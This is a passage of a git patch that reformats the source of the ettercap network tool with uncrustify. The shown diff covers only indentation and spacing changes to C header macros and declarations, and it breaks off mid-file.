From 93f2e96e6f8db3bb6fc48c69044db4cda92a446d Mon Sep 17 00:00:00 2001 From: Alexander Koeppe Date: Mon, 11 Dec 2017 00:35:28 +0100 Subject: [PATCH] source code files uncrustified --- include/ec.h | 170 +- include/ec_capture.h | 1 - include/ec_checksum.h | 1 - include/ec_conf.h | 2 - include/ec_connbuf.h | 2 - include/ec_conntrack.h | 18 +- include/ec_debug.h | 20 +- include/ec_decode.h | 28 +- include/ec_dispatcher.h | 1 - include/ec_dissect.h | 88 +- include/ec_encryption.h | 78 +- include/ec_error.h | 17 +- include/ec_file.h | 13 +- include/ec_filter.h | 100 +- include/ec_fingerprint.h | 56 +- include/ec_format.h | 1 - include/ec_geoip.h | 7 +- include/ec_globals.h | 83 +- include/ec_hash.h | 1 - include/ec_hook.h | 9 +- include/ec_http.h | 1 - include/ec_inet.h | 154 +- include/ec_inject.h | 35 +- include/ec_interfaces.h | 1 - include/ec_log.h | 49 +- include/ec_lua.h | 14 +- include/ec_manuf.h | 3 +- include/ec_mitm.h | 3 - include/ec_network.h | 25 +- include/ec_os_mingw.h | 215 +- include/ec_packet.h | 98 +- include/ec_parser.h | 3 - include/ec_passive.h | 3 +- include/ec_plugins.h | 35 +- include/ec_poll.h | 1 - include/ec_profiles.h | 19 +- include/ec_proto.h | 4 +- include/ec_queue.h | 565 ++--- include/ec_resolv.h | 45 +- include/ec_scan.h | 1 - include/ec_send.h | 7 +- include/ec_services.h | 4 +- include/ec_session.h | 2 - include/ec_session_tcp.h | 13 +- include/ec_set.h | 1 - include/ec_signals.h | 1 - include/ec_sniff.h | 5 +- include/ec_sniff_bridge.h | 1 - include/ec_sniff_unified.h | 1 - include/ec_socket.h | 5 +- include/ec_sslwrap.h | 5 +- include/ec_stats.h | 43 +- include/ec_stdint.h | 98 +- include/ec_streambuf.h | 1 - include/ec_strings.h | 51 +- include/ec_threads.h | 17 +- include/ec_ui.h | 42 +- include/ec_update.h | 1 - include/ec_utils.h | 2 +- include/ec_version.h | 1 - include/ef.h | 84 +- include/ef_functions.h | 38 +- include/el.h | 130 +- include/el_functions.h | 26 +- include/missing/basename.h | 3 +- include/missing/getopt.h | 248 ++- include/missing/memmem.h | 4 +- include/missing/memrchr.h | 1 - include/missing/nameser.h | 696 ++++--- include/missing/nameser_compat.h | 241 ++- include/missing/ncurses_mingw.h | 11 +- include/missing/scandir.h | 5 +- include/missing/strcasestr.h | 2 +- include/missing/strndup.h | 45 +- include/missing/strsep.h | 3 +- include/missing/termios_mingw.h | 10 +- plug-ins/arp_cop/arp_cop.c | 124 +- plug-ins/autoadd/autoadd.c | 127 +- plug-ins/chk_poison/chk_poison.c | 140 +- plug-ins/dns_spoof/dns_spoof.c | 611 +++--- plug-ins/dos_attack/dos_attack.c | 145 +- plug-ins/dummy/dummy.c | 89 +- plug-ins/find_conn/find_conn.c | 77 +- plug-ins/find_ettercap/find_ettercap.c | 114 +- plug-ins/find_ip/find_ip.c | 106 +- plug-ins/finger/finger.c | 143 +- plug-ins/finger_submit/finger_submit.c | 86 +- plug-ins/fraggle_attack/fraggle_attack.c | 51 +- plug-ins/gre_relay/gre_relay.c | 180 +- plug-ins/gw_discover/gw_discover.c | 118 +- plug-ins/isolate/isolate.c | 135 +- plug-ins/krb5_downgrade/krb5_downgrade.c | 104 +- plug-ins/link_type/link_type.c | 117 +- plug-ins/mdns_spoof/mdns_spoof.c | 584 +++--- plug-ins/nbns_spoof/nbns_spoof.c | 588 +++--- plug-ins/pptp_chapms1/pptp_chapms1.c | 135 +- plug-ins/pptp_clear/pptp_clear.c | 187 +- plug-ins/pptp_pap/pptp_pap.c | 126 +- plug-ins/pptp_reneg/pptp_reneg.c | 118 +- plug-ins/rand_flood/rand_flood.c | 127 +- plug-ins/remote_browser/remote_browser.c | 137 +- plug-ins/reply_arp/reply_arp.c | 79 +- plug-ins/repoison_arp/repoison_arp.c | 101 +- plug-ins/scan_poisoner/scan_poisoner.c | 133 +- plug-ins/search_promisc/search_promisc.c | 135 +- plug-ins/smb_clear/smb_clear.c | 111 +- plug-ins/smb_down/smb_down.c | 136 +- plug-ins/smurf_attack/smurf_attack.c | 63 +- plug-ins/sslstrip/sslstrip.c | 707 +++---- plug-ins/stp_mangler/stp_mangler.c | 157 +- src/dissectors/ec_TN3270.c | 148 +- src/dissectors/ec_bgp.c | 105 +- src/dissectors/ec_cvs.c | 129 +- src/dissectors/ec_dhcp.c | 339 ++- src/dissectors/ec_dns.c | 145 +- src/dissectors/ec_ftp.c | 122 +- src/dissectors/ec_gg.c | 922 ++++----- src/dissectors/ec_http.c | 578 +++--- src/dissectors/ec_icq.c | 102 +- src/dissectors/ec_imap.c | 213 +- src/dissectors/ec_irc.c | 282 ++- src/dissectors/ec_iscsi.c | 76 +- src/dissectors/ec_kerberos.c | 100 +- src/dissectors/ec_ldap.c | 69 +- src/dissectors/ec_mdns.c | 287 ++- src/dissectors/ec_mongodb.c | 106 +- src/dissectors/ec_mountd.c | 76 +- src/dissectors/ec_msn.c | 132 +- src/dissectors/ec_mysql.c | 137 +- src/dissectors/ec_nbns.c | 235 +-- src/dissectors/ec_nntp.c | 123 +- src/dissectors/ec_o5logon.c | 171 +- src/dissectors/ec_ospf.c | 170 +- src/dissectors/ec_pop.c | 292 ++- src/dissectors/ec_portmap.c | 144 +- src/dissectors/ec_postgresql.c | 120 +- src/dissectors/ec_radius.c | 130 +- src/dissectors/ec_rcon.c | 84 +- src/dissectors/ec_rip.c | 198 +- src/dissectors/ec_rlogin.c | 117 +- src/dissectors/ec_smb.c | 328 ++- src/dissectors/ec_smtp.c | 145 +- src/dissectors/ec_snmp.c | 117 +- src/dissectors/ec_socks.c | 90 +- src/dissectors/ec_ssh.c | 379 ++-- src/dissectors/ec_telnet.c | 174 +- src/dissectors/ec_vnc.c | 151 +- src/dissectors/ec_vrrp.c | 74 +- src/dissectors/ec_x11.c | 101 +- src/dissectors/ec_ymsg.c | 127 +- src/ec_asn1.c | 4 +- src/ec_capture.c | 101 +- src/ec_checksum.c | 238 ++- src/ec_conf.c | 174 +- src/ec_connbuf.c | 101 +- src/ec_conntrack.c | 469 ++--- src/ec_debug.c | 137 +- src/ec_decode.c | 223 +- src/ec_dispatcher.c | 101 +- src/ec_dissect.c | 171 +- src/ec_encryption.c | 245 ++- src/ec_encryption_ccmp.c | 79 +- src/ec_encryption_tkip.c | 73 +- src/ec_error.c | 63 +- src/ec_exit.c | 41 +- src/ec_file.c | 69 +- src/ec_filter.c | 1278 ++++++------ src/ec_fingerprint.c | 296 ++- src/ec_format.c | 274 ++- src/ec_geoip.c | 139 +- src/ec_globals.c | 66 +- src/ec_hash.c | 37 +- src/ec_hook.c | 100 +- src/ec_inet.c | 747 ++++--- src/ec_inject.c | 122 +- src/ec_interfaces.c | 53 +- src/ec_log.c | 413 ++-- src/ec_main.c | 188 +- src/ec_manuf.c | 87 +- src/ec_mem.c | 52 +- src/ec_mitm.c | 118 +- src/ec_network.c | 234 ++- src/ec_packet.c | 110 +- src/ec_parser.c | 525 +++-- src/ec_passive.c | 163 +- src/ec_plugins.c | 203 +- src/ec_poll.c | 100 +- src/ec_profiles.c | 388 ++-- src/ec_resolv.c | 152 +- src/ec_scan.c | 202 +- src/ec_send.c | 1293 ++++++------ src/ec_services.c | 63 +- src/ec_session.c | 113 +- src/ec_set.c | 192 +- src/ec_signals.c | 167 +- src/ec_sleep.c | 50 +- src/ec_sniff.c | 484 +++-- src/ec_sniff_bridge.c | 108 +- src/ec_sniff_unified.c | 125 +- src/ec_socket.c | 107 +- src/ec_sslwrap.c | 779 ++++--- src/ec_stats.c | 84 +- src/ec_streambuf.c | 112 +- src/ec_strings.c | 380 ++-- src/ec_threads.c | 148 +- src/ec_ui.c | 140 +- src/ec_utils.c | 174 +- src/interfaces/curses/ec_curses.c | 312 ++- src/interfaces/curses/ec_curses.h | 19 +- src/interfaces/curses/ec_curses_filters.c | 85 +- src/interfaces/curses/ec_curses_help.c | 79 +- src/interfaces/curses/ec_curses_hosts.c | 160 +- src/interfaces/curses/ec_curses_live.c | 59 +- src/interfaces/curses/ec_curses_logging.c | 70 +- src/interfaces/curses/ec_curses_mitm.c | 86 +- src/interfaces/curses/ec_curses_offline.c | 47 +- src/interfaces/curses/ec_curses_plugins.c | 145 +- src/interfaces/curses/ec_curses_start.c | 58 +- src/interfaces/curses/ec_curses_targets.c | 163 +- src/interfaces/curses/ec_curses_view.c | 131 +- .../curses/ec_curses_view_connections.c | 311 ++- .../curses/ec_curses_view_profiles.c | 104 +- src/interfaces/curses/widgets/wdg.c | 498 +++-- src/interfaces/curses/widgets/wdg.h | 200 +- src/interfaces/curses/widgets/wdg_compound.c | 256 ++- src/interfaces/curses/widgets/wdg_debug.c | 87 +- src/interfaces/curses/widgets/wdg_dialog.c | 254 ++- src/interfaces/curses/widgets/wdg_dynlist.c | 321 ++- src/interfaces/curses/widgets/wdg_error.c | 49 +- src/interfaces/curses/widgets/wdg_file.c | 306 ++- src/interfaces/curses/widgets/wdg_input.c | 445 ++-- src/interfaces/curses/widgets/wdg_list.c | 262 ++- src/interfaces/curses/widgets/wdg_menu.c | 346 ++-- src/interfaces/curses/widgets/wdg_panel.c | 139 +- .../curses/widgets/wdg_percentage.c | 152 +- src/interfaces/curses/widgets/wdg_scroll.c | 229 +- src/interfaces/curses/widgets/wdg_window.c | 137 +- src/interfaces/daemon/ec_daemon.c | 114 +- src/interfaces/daemon/ec_daemon.h | 3 - src/interfaces/gtk/ec_gtk.c | 886 ++++---- src/interfaces/gtk/ec_gtk.h | 2 - src/interfaces/gtk/ec_gtk_conf.c | 79 +- src/interfaces/gtk/ec_gtk_filters.c | 56 +- src/interfaces/gtk/ec_gtk_help.c | 162 +- src/interfaces/gtk/ec_gtk_hosts.c | 302 ++- src/interfaces/gtk/ec_gtk_live.c | 41 +- src/interfaces/gtk/ec_gtk_logging.c | 113 +- src/interfaces/gtk/ec_gtk_menus.c | 90 +- src/interfaces/gtk/ec_gtk_mitm.c | 382 ++-- src/interfaces/gtk/ec_gtk_offline.c | 41 +- src/interfaces/gtk/ec_gtk_plugins.c | 239 ++- src/interfaces/gtk/ec_gtk_start.c | 45 +- src/interfaces/gtk/ec_gtk_targets.c | 367 ++-- src/interfaces/gtk/ec_gtk_view.c | 407 ++-- src/interfaces/gtk/ec_gtk_view_connections.c | 1057 +++++----- src/interfaces/gtk/ec_gtk_view_profiles.c | 294 ++- src/interfaces/text/ec_text.c | 405 ++-- src/interfaces/text/ec_text.h | 1 - src/interfaces/text/ec_text_conn.c | 50 +- src/interfaces/text/ec_text_display.c | 95 +- src/interfaces/text/ec_text_plugin.c | 67 +- src/interfaces/text/ec_text_profile.c | 176 +- src/lua/ec_lua.c | 423 ++-- src/missing/basename.c | 14 +- src/missing/getopt.c | 1837 ++++++++--------- src/missing/memcmp.c | 20 +- src/missing/memmem.c | 33 +- src/missing/memrchr.c | 11 +- src/missing/scandir.c | 76 +- src/missing/strcasestr.c | 5 +- src/missing/strlcat.c | 48 +- src/missing/strlcpy.c | 34 +- src/missing/strndup.c | 57 +- src/missing/strsep.c | 50 +- src/mitm/ec_arp_poisoning.c | 228 +- src/mitm/ec_dhcp_spoofing.c | 131 +- src/mitm/ec_icmp_redirect.c | 73 +- src/mitm/ec_ip6nd_poison.c | 137 +- src/mitm/ec_port_stealing.c | 180 +- src/os/ec_bsd.c | 88 +- src/os/ec_cygwin.c | 75 +- src/os/ec_darwin.c | 88 +- src/os/ec_dummy.c | 37 +- src/os/ec_gnu.c | 56 +- src/os/ec_linux.c | 200 +- src/os/ec_mingw.c | 1625 ++++++++------- src/os/ec_solaris.c | 84 +- src/protocols/ec_arp.c | 95 +- src/protocols/ec_cooked.c | 48 +- src/protocols/ec_erf.c | 57 +- src/protocols/ec_esp.c | 54 +- src/protocols/ec_eth.c | 72 +- src/protocols/ec_fddi.c | 93 +- src/protocols/ec_gre.c | 81 +- src/protocols/ec_icmp.c | 101 +- src/protocols/ec_icmp6.c | 77 +- src/protocols/ec_ip.c | 250 ++- src/protocols/ec_ip6.c | 158 +- src/protocols/ec_mpls.c | 46 +- src/protocols/ec_null.c | 78 +- src/protocols/ec_ppi.c | 105 +- src/protocols/ec_ppp.c | 261 ++- src/protocols/ec_pppoe.c | 54 +- src/protocols/ec_rawip.c | 46 +- src/protocols/ec_tcp.c | 316 ++- src/protocols/ec_tr.c | 102 +- src/protocols/ec_udp.c | 100 +- src/protocols/ec_vlan.c | 56 +- src/protocols/ec_wifi.c | 153 +- src/protocols/ec_wifi_eapol.c | 219 +- src/protocols/ec_wifi_prism.c | 44 +- src/protocols/ec_wifi_radiotap.c | 70 +- tests/test_ec_decode.c | 59 +- utils/etterfilter/ef_compiler.c | 215 +- utils/etterfilter/ef_ec_compat.c | 69 +- utils/etterfilter/ef_encode.c | 244 ++- utils/etterfilter/ef_main.c | 67 +- utils/etterfilter/ef_output.c | 164 +- utils/etterfilter/ef_parser.c | 126 +- utils/etterfilter/ef_tables.c | 118 +- utils/etterfilter/ef_test.c | 353 ++-- utils/etterlog/el_analyze.c | 138 +- utils/etterlog/el_conn.c | 195 +- utils/etterlog/el_decode.c | 105 +- utils/etterlog/el_decode_http.c | 92 +- utils/etterlog/el_display.c | 201 +- utils/etterlog/el_ec_compat.c | 69 +- utils/etterlog/el_log.c | 238 ++- utils/etterlog/el_main.c | 79 +- utils/etterlog/el_parser.c | 378 ++-- utils/etterlog/el_profiles.c | 146 +- utils/etterlog/el_stream.c | 207 +- utils/etterlog/el_target.c | 235 +-- 333 files changed, 25877 insertions(+), 27253 deletions(-) diff --git a/include/ec.h b/include/ec.h index 4e363b0a7..e477702af 100644 --- a/include/ec.h +++ b/include/ec.h @@ -11,27 +11,27 @@ #include #ifdef OS_WINDOWS - #include +#include #endif #if defined OS_DARWIN || defined OS_BSD - #define PCAP_DONT_INCLUDE_PCAP_BPF_H 1 - #include +#define PCAP_DONT_INCLUDE_PCAP_BPF_H 1 +#include #endif #ifndef PATH_MAX - #define PATH_MAX 1024 +#define PATH_MAX 1024 #endif -#if !defined (__USE_GNU) /* for memmem(), strsignal(), etc etc... */ - #define __USE_GNU +#if !defined(__USE_GNU) /* for memmem(), strsignal(), etc etc... */ +#define __USE_GNU #endif #ifdef OS_SOLARIS - #define _REENTRANT /* for strtok_r() */ +#define _REENTRANT /* for strtok_r() */ #endif #include -#if defined (__USE_GNU) - #undef __USE_GNU +#if defined(__USE_GNU) +#undef __USE_GNU #endif #include #include @@ -42,13 +42,13 @@ * used in plugins and functions in plugins must be declared as 'importable' */ #if defined(OS_WINDOWS) - #if defined(BUILDING_PLUGIN) - #define EC_API_EXTERN __declspec(dllimport) - #else - #define EC_API_EXTERN __declspec(dllexport) - #endif +#if defined(BUILDING_PLUGIN) +#define EC_API_EXTERN __declspec(dllimport) #else - #define EC_API_EXTERN extern +#define EC_API_EXTERN __declspec(dllexport) +#endif +#else +#define EC_API_EXTERN extern #endif /* these are often needed... */ @@ -60,34 +60,36 @@ #include #ifdef OS_MINGW - #include +#include #endif - /* wrappers for safe memory allocation */ -#define SAFE_CALLOC(x, n, s) do { \ - x = calloc(n, s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while(0) - -#define SAFE_MALLOC(x, s) do { \ - x = malloc(s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while (0) +#define SAFE_CALLOC(x, n, s) \ + do { \ + x = calloc(n, s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_REALLOC(x, s) do { \ - x = realloc(x, s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -} while(0) +#define SAFE_MALLOC(x, s) \ + do { \ + x = malloc(s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_STRDUP(x, s) do{ \ - x = strdup(s); \ - ON_ERROR(x, NULL, "virtual memory exhausted"); \ -}while(0) +#define SAFE_REALLOC(x, s) \ + do { \ + x = realloc(x, s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) -#define SAFE_FREE(x) do{ if(x) { free(x); x = NULL; } }while(0) +#define SAFE_STRDUP(x, s) \ + do { \ + x = strdup(s); \ + ON_ERROR(x, NULL, "virtual memory exhausted"); \ + } while (0) +#define SAFE_FREE(x) do { if (x) { free(x); x = NULL; } } while (0) /* convert to string */ #define EC_STRINGIFY(in) #in @@ -95,96 +97,96 @@ // No need to have a priority in the constructor at this moment /* -#if __GNUC_PREREQ(4,3) -#define __init __attribute__ ((constructor(101))) -#else -*/ + #if __GNUC_PREREQ(4,3) + #define __init __attribute__ ((constructor(101))) + #else + */ #define __init __attribute__ ((constructor)) -//#endif +// #endif #ifndef __set_errno #define __set_errno(e) (errno = (e)) #endif -#define LOOP for(;;) +#define LOOP for (;;) -#define EXECUTE(x, ...) do{ if(x != NULL) x( __VA_ARGS__ ); }while(0) +#define EXECUTE(x, ...) do { if (x != NULL) x(__VA_ARGS__); } while (0) /* couple of useful macros */ #ifndef offsetof -#define offsetof(type, member) ((size_t) &((type*)0)->member) +#define offsetof(type, member) ((size_t)&((type *)0)->member) #endif #ifndef containerof -#define containerof(ptr, type, member) ((type*)((char*)ptr - offsetof(type,member))) +#define containerof(ptr, type, member) ((type *)((char *)ptr - offsetof(type, member))) #endif /* min and max */ #ifndef MIN - #define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX - #define MAX(a, b) (((a) > (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif /* timeunit conversions */ #define SEC2NANO(x) x * 1000000000 -#define MILLI2NANO(x) x * 1000000 -#define MICRO2NANO(x) x * 1000 -#define SEC2MICRO(x) x * 1000000 -#define MILLI2MICRO(x) x * 1000 -#define MILLI2SEC(x) x / 1000 -#define MICRO2SEC(x) x / 1000000 +#define MILLI2NANO(x) x * 1000000 +#define MICRO2NANO(x) x * 1000 +#define SEC2MICRO(x) x * 1000000 +#define MILLI2MICRO(x) x * 1000 +#define MILLI2SEC(x) x / 1000 +#define MICRO2SEC(x) x / 1000000 #define NANO2SEC(x) x / 1000000000 -/* file operations */ +/* file operations */ #ifndef OS_WINDOWS - #define O_BINARY 0 +#define O_BINARY 0 #endif /* bit operations */ -#define BIT_SET(r,b) ( r[b>>3] |= 1<<(b&7) ) -#define BIT_RESET(r,b) ( r[b>>3] &= ~ 1<<(b&7) ) -#define BIT_TEST(r,b) ( r[b>>3] & 1<<(b&7) ) -#define BIT_NOT(r,b) ( r[b>>3] ^= 1<<(b&7) ) +#define BIT_SET(r, b) (r[b >> 3] |= 1 << (b & 7)) +#define BIT_RESET(r, b) (r[b >> 3] &= ~1 << (b & 7)) +#define BIT_TEST(r, b) (r[b >> 3] & 1 << (b & 7)) +#define BIT_NOT(r, b) (r[b >> 3] ^= 1 << (b & 7)) /* Save and restore relative offsets for pointers into a buffer */ -#define SAVE_OFFSET(o,b) o=(u_int8 *)((int)o-(int)b) -#define RESTORE_OFFSET(o,b) o=(u_int8 *)((int)o+(int)b) +#define SAVE_OFFSET(o, b) o = (u_int8 *)((int)o - (int)b) +#define RESTORE_OFFSET(o, b) o = (u_int8 *)((int)o + (int)b) /* ANSI colors */ #ifndef OS_WINDOWS - #define EC_COLOR_END "\033[0m" - #define EC_COLOR_BOLD "\033[1m" - - #define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD - #define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD - #define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD - #define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD - #define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD +#define EC_COLOR_END "\033[0m" +#define EC_COLOR_BOLD "\033[1m" + +#define EC_COLOR_RED "\033[31m"EC_COLOR_BOLD +#define EC_COLOR_YELLOW "\033[33m"EC_COLOR_BOLD +#define EC_COLOR_GREEN "\033[32m"EC_COLOR_BOLD +#define EC_COLOR_BLUE "\033[34m"EC_COLOR_BOLD +#define EC_COLOR_CYAN "\033[36m"EC_COLOR_BOLD #else - /* Windows console doesn't grok ANSI */ - #define EC_COLOR_END - #define EC_COLOR_BOLD +/* Windows console doesn't grok ANSI */ +#define EC_COLOR_END +#define EC_COLOR_BOLD - #define EC_COLOR_RED - #define EC_COLOR_YELLOW - #define EC_COLOR_GREEN - #define EC_COLOR_BLUE - #define EC_COLOR_CYAN +#define EC_COLOR_RED +#define EC_COLOR_YELLOW +#define EC_COLOR_GREEN +#define EC_COLOR_BLUE +#define EC_COLOR_CYAN #endif /* magic numbers */ #ifndef RANDMAGIC - #define EC_MAGIC_8 0xec - #define EC_MAGIC_16 0xe77e - #define EC_MAGIC_32 0xe77ee77e +#define EC_MAGIC_8 0xec +#define EC_MAGIC_16 0xe77e +#define EC_MAGIC_32 0xe77ee77e #else - #define EC_MAGIC_8 ((RANDMAGIC & 0x0ff0) >> 4) - #define EC_MAGIC_16 (RANDMAGIC & 0xffff) - #define EC_MAGIC_32 (((RANDMAGIC & 0xff) << 8)|((RANDMAGIC & 0xff00) >> 8)|(RANDMAGIC & 0xffff0000)) +#define EC_MAGIC_8 ((RANDMAGIC & 0x0ff0) >> 4) +#define EC_MAGIC_16 (RANDMAGIC & 0xffff) +#define EC_MAGIC_32 (((RANDMAGIC & 0xff) << 8) | ((RANDMAGIC & 0xff00) >> 8) | (RANDMAGIC & 0xffff0000)) #endif /* exported by ec_main */ @@ -193,10 +195,8 @@ EC_API_EXTERN void clean_exit(int errcode); /* exported by ec_mem */ EC_API_EXTERN void safe_free_mem(char **param, int *param_length, char *command); - -#endif /* EC_H */ +#endif /* EC_H */ /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_capture.h b/include/ec_capture.h index 1d4d142ed..e96dc2f2b 100644 --- a/include/ec_capture.h +++ b/include/ec_capture.h @@ -23,4 +23,3 @@ EC_API_EXTERN void add_aligner(int dlt, int (*aligner)(void)); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_checksum.h b/include/ec_checksum.h index a311aed6f..85287002f 100644 --- a/include/ec_checksum.h +++ b/include/ec_checksum.h @@ -20,4 +20,3 @@ EC_API_EXTERN u_int16 checksum_shouldbe(u_int16 sum, u_int16 computed_sum); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_conf.h b/include/ec_conf.h index f0c59f954..a1f4053c0 100644 --- a/include/ec_conf.h +++ b/include/ec_conf.h @@ -11,7 +11,6 @@ struct conf_section { struct conf_entry *entries; }; - /* exported functions */ EC_API_EXTERN void load_conf(void); @@ -22,4 +21,3 @@ EC_API_EXTERN void conf_dissectors(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_connbuf.h b/include/ec_connbuf.h index a4e751cd8..ea2b14be9 100644 --- a/include/ec_connbuf.h +++ b/include/ec_connbuf.h @@ -33,10 +33,8 @@ EC_API_EXTERN int connbuf_add(struct conn_buf *cb, struct packet_object *po); EC_API_EXTERN void connbuf_wipe(struct conn_buf *cb); EC_API_EXTERN int connbuf_print(struct conn_buf *cb, void (*)(u_char *, size_t, struct ip_addr *)); - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_conntrack.h b/include/ec_conntrack.h index d1f3a4e58..8fb873b4d 100644 --- a/include/ec_conntrack.h +++ b/include/ec_conntrack.h @@ -7,7 +7,7 @@ /* conntrack hook definition */ struct ct_hook_list { void (*func)(struct packet_object *po); - SLIST_ENTRY (ct_hook_list) next; + SLIST_ENTRY(ct_hook_list) next; }; /* conntrack object */ @@ -19,11 +19,11 @@ struct conn_object { /* mac addresses */ u_int8 L2_addr1[MEDIA_ADDR_LEN]; u_int8 L2_addr2[MEDIA_ADDR_LEN]; - + /* ip addresses */ struct ip_addr L3_addr1; struct ip_addr L3_addr2; - + /* port numbers */ u_int16 L4_addr1; u_int16 L4_addr2; @@ -36,7 +36,7 @@ struct conn_object { u_int32 xferred; /* XXX: remove it some day */ u_int32 tx; /* from 1 to 2 */ u_int32 rx; /* from 2 to 1 */ - + /* connection status */ int status; @@ -51,12 +51,11 @@ struct conn_object { }; struct conn_tail { - struct conn_object *co; + struct conn_object *co; struct conn_hash_search *cs; TAILQ_ENTRY(conn_tail) next; }; - enum { CONN_IDLE = 0, CONN_OPENING = 1, @@ -74,13 +73,13 @@ enum { }; /* exported functions */ -EC_API_EXTERN void * conntrack_print(int mode, void *list, char **desc, size_t len); -EC_API_EXTERN void * conntrack_get(int mode, void *list, struct conn_object **conn); +EC_API_EXTERN void *conntrack_print(int mode, void *list, char **desc, size_t len); +EC_API_EXTERN void *conntrack_get(int mode, void *list, struct conn_object **conn); EC_API_EXTERN int conntrack_protostr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN int conntrack_flagstr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN int conntrack_statusstr(struct conn_object *conn, char *pstr, int len); EC_API_EXTERN int conntrack_countrystr(struct conn_object *conn, char *pstr, int len); -EC_API_EXTERN EC_THREAD_FUNC(conntrack_timeouter); +EC_API_EXTERN EC_THREAD_FUNC(conntrack_timeouter); EC_API_EXTERN void conntrack_purge(void); EC_API_EXTERN int conntrack_hook_packet_add(struct packet_object *po, void (*func)(struct packet_object *po)); @@ -93,4 +92,3 @@ EC_API_EXTERN int conntrack_hook_conn_del(struct conn_object *co, void (*func)(s /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_debug.h b/include/ec_debug.h index dd705f1ad..808554fb1 100644 --- a/include/ec_debug.h +++ b/include/ec_debug.h @@ -7,25 +7,25 @@ EC_API_EXTERN void debug_msg(const char *message, ...); EC_API_EXTERN FILE *debug_file; #define DEBUG_INIT() debug_init() -#define DEBUG_MSG(x, ...) do { \ - if (debug_file == NULL) { \ - fprintf(stderr, "DEBUG: "x"\n", ## __VA_ARGS__ ); \ - } else \ - debug_msg(x, ## __VA_ARGS__ ); \ -} while(0) +#define DEBUG_MSG(x, ...) \ + do { \ + if (debug_file == NULL) { \ + fprintf(stderr, "DEBUG: "x "\n", ## __VA_ARGS__); \ + } else \ + debug_msg(x, ## __VA_ARGS__); \ + } while (0) #endif /* EC_DEBUG_H */ -/* +/* * if DEBUG is not defined we expand the macros to null instructions... */ #ifndef DEBUG - #define DEBUG_INIT() - #define DEBUG_MSG(x, ...) +#define DEBUG_INIT() +#define DEBUG_MSG(x, ...) #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_decode.h b/include/ec_decode.h index 9ed7e3b16..37fe8fdbb 100644 --- a/include/ec_decode.h +++ b/include/ec_decode.h @@ -19,7 +19,7 @@ enum { APP_LAYER_UDP = 52, }; -#define FUNC_DECODER(func) void * func(u_char *buf, u_int16 buflen, int *len, struct packet_object *po) +#define FUNC_DECODER(func) void *func(u_char * buf, u_int16 buflen, int *len, struct packet_object *po) #define FUNC_DECODER_PTR(func) void * (*func)(u_char *buf, u_int16 buflen, int *len, struct packet_object *po) #define DECODE_DATALEN buflen @@ -27,21 +27,24 @@ enum { #define DECODED_LEN *len #define PACKET po -#define EXECUTE_DECODER(x) do{ \ - if (x) \ - x(DECODE_DATA+DECODED_LEN, DECODE_DATALEN-DECODED_LEN, len, PACKET); \ -}while(0) +#define EXECUTE_DECODER(x) \ + do { \ + if (x) \ + x(DECODE_DATA + DECODED_LEN, DECODE_DATALEN - DECODED_LEN, len, PACKET); \ + } while (0) -#define DECLARE_REAL_PTR_END(x,y) u_char *x = po->DATA.data; \ - u_char *y = x + po->DATA.len +#define DECLARE_REAL_PTR_END(x, y) \ + u_char * x = po->DATA.data; \ + u_char *y = x + po->DATA.len -#define DECLARE_DISP_PTR_END(x,y) u_char *x = po->DATA.disp_data; \ - u_char *y = x + po->DATA.disp_len +#define DECLARE_DISP_PTR_END(x, y) \ + u_char * x = po->DATA.disp_data; \ + u_char *y = x + po->DATA.disp_len + +#define DECLARE_DISP_PTR(x) u_char * x = po->DATA.disp_data -#define DECLARE_DISP_PTR(x) u_char *x = po->DATA.disp_data - #define DISPLAY_DATA po->disp_data -#define DISPLAY_LEN po->disp_len +#define DISPLAY_LEN po->disp_len /* exported functions */ @@ -55,4 +58,3 @@ EC_API_EXTERN void *get_decoder(u_int8 level, u_int32 type); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_dispatcher.h b/include/ec_dispatcher.h index 92716d836..ad14550c0 100644 --- a/include/ec_dispatcher.h +++ b/include/ec_dispatcher.h @@ -12,4 +12,3 @@ EC_API_EXTERN EC_THREAD_FUNC(top_half); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_dissect.h b/include/ec_dissect.h index 7aca74167..6d10a18e4 100644 --- a/include/ec_dissect.h +++ b/include/ec_dissect.h @@ -21,7 +21,7 @@ struct dissect_ident { #define DISSECT_IDENT_LEN sizeof(struct dissect_ident) -#define DISSECT_CODE(x) (void*)(x) +#define DISSECT_CODE(x) (void *)(x) /* exported functions */ @@ -31,84 +31,80 @@ EC_API_EXTERN int dissect_modify(int mode, char *name, u_int32 port); #define MODE_REP 1 EC_API_EXTERN int dissect_match(void *id_sess, void *id_curr); -EC_API_EXTERN void dissect_create_session(struct ec_session **s, struct packet_object *po, void *code); +EC_API_EXTERN void dissect_create_session(struct ec_session **s, struct packet_object *po, void *code); EC_API_EXTERN void dissect_wipe_session(struct packet_object *po, void *code); -EC_API_EXTERN size_t dissect_create_ident(void **i, struct packet_object *po, void *code); +EC_API_EXTERN size_t dissect_create_ident(void **i, struct packet_object *po, void *code); EC_API_EXTERN int dissect_on_port(char *name, u_int16 port); EC_API_EXTERN int dissect_on_port_level(char *name, u_int16 port, u_int8 level); - /* return true if the packet is coming from 